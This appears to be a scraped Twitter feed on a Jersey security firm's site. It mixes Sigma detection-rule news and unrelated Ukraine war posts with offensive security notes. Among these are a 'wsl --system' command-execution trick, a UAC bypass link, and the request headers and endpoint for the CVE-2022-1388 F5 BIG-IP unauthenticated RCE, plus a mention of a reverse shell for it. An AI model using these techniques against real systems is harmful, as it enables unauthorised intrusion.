Defence Logic Limited

A boutique cyber security firm based in Jersey offering various services and solutions.

[Vicky Milner @law_vmilner]

This is great. I hadn't heard of the Rivington Fund before.

[Florian Roth ⚡️ @cyb3rops]

If you want to help us improve the public @sigma_hq rules, this 👇 is a guide on when we filter FPs and when we accept them

Also check the rule levels: https://t.co/2LKbFdSFVB

Please provide filters for FPs with standard software as pull requests in the public repo

[Nasreddine Bencherchali @nas_bench]

In addition to the documented "-e/--exec" flag in #lolbas about the "wsl.exe" binary (https://t.co/OrgJ7c7o9N). We can also use the "--system" flag to run Linux (as root) /Windows commands.

wsl --system [Command]

[Florian Roth ⚡️ @cyb3rops]

.@blubbfiction published a Cookiecutter template to facilitate the creation of backends for pySigma
https://t.co/Mf8sgx9RgV

pySigma is the new basis for conversions
https://t.co/iRldFnzzPK

Sigma-cli, which uses pySigma replaces the old&inflexible sigmac
https://t.co/g0214NVf1P

[j00sean @j00sean]

@cyb3rops UAC prompt bypass with some clicks extra over here.
https://t.co/4fQSwsLgxd

[Nuclei by ProjectDiscovery @pdnuclei]

Scan for F5 BIG-IP iControl REST Auth Bypass RCE (CVE-2022-1388) using nuclei template shared by @dwisiswant0

Template PR: https://t.co/SgK8VtT5PB

Advisory: https://t.co/DIihNIfm4X

#hackwithautomation #security #bugbounty #appsec

[Qusai Alhaddad @qusaialhaddad]

Reverse Shell for #F5-Big IP CVE-2022-1388

[Jas502n @jas502n]

#CVE-2022-1388 F5's BIG-IP Unauth RCE

Connection: keep-alive, X-F5-Auth-Token
Authorization: Basic YWRtaW46
X-F5-Auth-Token: anything

https://x.x.x.x:443/mgmt/tm/util/bash

[/r/netsec @_r_netsec]

Useful Security Tools and Resources for Digital Forensics https://t.co/3o2onoErU4

[Lee Holmes @Lee_Holmes]

Wow, @BleepinComputer nailed the deep dive on this one - check it out!
https://t.co/Lg4zIsB0ms

[Polymarket Intel @PolymarketIntel]

#Ukraine: In some significant news, it appears that the Czech Republic is supplying "dozens" of T-72M1 tanks & BVP-1 IFV to the UA forces.

Whilst the T-72M1 is rather old (slightly altered T-72A1), & so are the BVP-1 (BMP-1 with very minor changes), they would still be of use.

[Polymarket Intel @PolymarketIntel]

Here is a little more info/context from local media: https://t.co/hxY22p5J03 and some HQ images also of a few of the vehicles.

Note: This is totally separate from the supply of Pbv 501 (Mildly modernised BMP-1s formerly operated by Sweden) to Ukraine, which is also taking place.

[Bailiwick Express @bailiwickxpress]

Tributes to popular environmentalist who "modernised planning" | Bailiwick Express https://t.co/VjTbhfzoL2

[Polymarket Intel @PolymarketIntel]

#Ukraine: This time, the Ukrainian farmers grabbed themselves a ZU-23-2 23mm autocannon from Russian forces.

[Eric Capuano - Bsky: @eric.zip @eric_capuano]

For those that don’t already follow @shortxstack, proceeds are being donated to Ukraine support causes. #ghostofkyiv

[Lubo Nistor @secenged]

@cyb3rops Nice, but you would likely DoS your detection system with so much regex per packet..

[Florian Roth ⚡️ @cyb3rops]

Someone has built a huge regex to cover many obfuscated versions of the log4shell payloads

Really nice, I'll test it and update my gist

Repo
https://t.co/PWEhw7uir5

Test
https://t.co/FSMzCBsBTT